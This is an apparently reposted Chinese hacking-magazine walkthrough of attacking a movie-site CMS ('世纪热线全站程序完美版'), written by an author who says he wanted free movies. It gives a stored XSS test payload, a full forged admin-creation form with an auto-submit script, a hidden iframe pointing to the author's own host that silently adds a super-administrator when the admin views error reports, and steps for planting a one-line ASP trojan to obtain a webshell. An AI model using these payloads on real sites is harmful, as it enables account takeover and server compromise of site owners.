知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 技术文献

跨出权限—世纪热线全站程序完美版漏洞利用

发布时间:2011-06-26 04:30:19作者:知识屋

注:本文首发于黑客手册,.转载请注明来源

跨站虽然算不上新的技术。但在国外也是非常重视的。其实跨站代码如果构造好的话可以干出很多事来的。这不,在网上逛到了一个电影网站。
心想如果把这个站拿下来不就可以看免费的电影了。(动机不太好呀^_^)。发现程序用的是:"世纪热线全站程序完美版"于是去百度搜一下也没发有漏
洞。那么就自己下回来慢慢研究吧。

可以说这套程序在注入方面防范的还不错。但是跨站方面好象就没有做到家了。经过仔细的查找,终于被我找到了一点软胁。首先我们先注册
个用户。一般电影网站都提供影片报错的页面。这个也不例外。我们在首页随便点击一个影片。下面有个报告错误。点一下之后会打开一个页面。
因为这个报告错误只有管理员能看,我们在报告错误里写上"<script>alert("樱花找漏洞了")</script>",如图1所示。


点开始报告,我们再去后台的电影管理/错误报告去看一下,跨站代码被成功执行了。如图2所示。



既然这个能执行,我们在来构造一些特殊的代码吧。后台有个添加管理员的,我们先来看看它的代码是怎么实现的,添加管理员的关键代码如下:

<form method="post" action="saveuser1.asp" name="form1" onsubmit="javascript:return check();">
 <table width="396" border="0" cellspacing="1" cellpadding="0">
 <tr bgcolor="#0099FF">
 <td height="25" width="392">
 <div align="center">
 <font size="2">新增管理员</font></div>
 </td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <div align="center">
 <font size="2">用 户 名  <input type="text" name="username" size="20">
 </font>
 </div>
 </td>
 <td height="30" style="color: black; border-style: none" width="138"> </td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <div align="center">
 <font size="2">初始密码  <input type="password" name="newpin" size="20">
 </font>
 </div>
 </td>
 <td height="30" style="color: black; border-style: none" width="138">
 <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <div align="center">
 <font size="2">确认密码  <input type="password" name="re_newpin" size="20">
 </font>
 </div>
 </td>
 <td height="30" style="color: black; border-style: none" width="138">
 <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <p align="center"><span lang="zh-cn"> </span>权限设置 <span lang="zh-cn"> 
 </span><select size="1" name="flag">
 <option selected value="4">====无管理权限====</option>
 <option value="3">====初级管理员====</option>
 <option value="2">====高级管理员====</option>
 <option value="1">====超级管理员====</option>
 </select></td>
 <td height="30" style="color: black; border-style: none" width="138"> </td>
 </tr>
 </table>
 <p><input type="submit" name="Submit" value="确定"> </p>
 </form> 其实这个我们只在稍稍改动一下就可以了,改好的代码如下: <form method="post" action="http://127.0.0.1/admin/saveuser1.asp">
 <table width="396" border="0" cellspacing="1" cellpadding="0">
 <tr bgcolor="#0099FF">
 <td height="25" width="392">
 <div align="center">
 <font size="2">新增管理员</font></div>
 </td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <div align="center">
 <font size="2">用 户 名  <input type="text" name="username" size="20" value="hacklu119"> ’添加管理员名字
 </font>
 </div>
 </td>
 <td height="30" style="color: black; border-style: none" width="138"> </td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <div align="center">
 <font size="2">初始密码  <input type="password" name="newpin" size="20" value="hack11911"> ’添加管理员密码
 </font>
 </div>
 </td>
 <td height="30" style="color: black; border-style: none" width="138">
 <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <div align="center">
 <font size="2">确认密码  <input type="password" name="re_newpin" size="20" value="hack11911"> ’确认管理员密码
 </font>
 </div>
 </td>
 <td height="30" style="color: black; border-style: none" width="138">
 <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <p align="center"><span lang="zh-cn"> </span>权限设置 <span lang="zh-cn"> 
 </span><select size="1" name="flag">
 <option selected value="1">====无管理权限====</option> ’设置为超级管理员,注意这里是1
 <option value="3">====初级管理员====</option>
 <option value="2">====高级管理员====</option>
 <option value="1">====超级管理员====</option>
 </select></td>
 <td height="30" style="color: black; border-style: none" width="138"> </td>
 </tr>
 </table>
 <p><input type="submit" name="Submit" value="确定"> </p>

 <p> </p>
 <p align="center">
<script language="javascript"> ’用javascript脚本叫程序自动运行
this.document.forms[0].submit()
</script>
</div>
</form> 最重要的就是action后的路径和最后自动运行的脚本,路径大家一定要对上。把上面的代码为hacklu.htm上传到自己的空间。然后再来到错误
报告的地方写上我们的挂马代码: <iframe src=http://www.hacklu.net/tu/hacklu.htm width=0 height=0></iframe> ,www.hacklu.net是我空
间的地址。这样管理员在看错误报告的时候就会添加一个名为:hacklu119的超级管理员。如图3、图4所示。




其实我们还可以构造备份WEBSHELL什么的,只是这个后台没有备份数据库的功能。所以得到WEBSHELL有一定的困难。刚开始我在添加电影的地
方上传ASP木马。又是抓名又是改扩展名的,可惜还没有成功。后来不经意发现原来这个数据库是ASP的,那么就好办了。只接在添加电影的地方
写上我们的一句话的ASP木马,如图5所示。



最后添加一下我们用客户端连接 http://127.0.0.1/data/jdzcn.asp 如图6所示,连接成功后会生成killbase.asp文件。最后成功得到WEBSHELL。见图7。



不过如果数据库改了名字的话,那么得WEBSHELL就不容易了。最后欢迎大家到NOHACK/BBS和我交流。我的ID是樱花浪子。

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜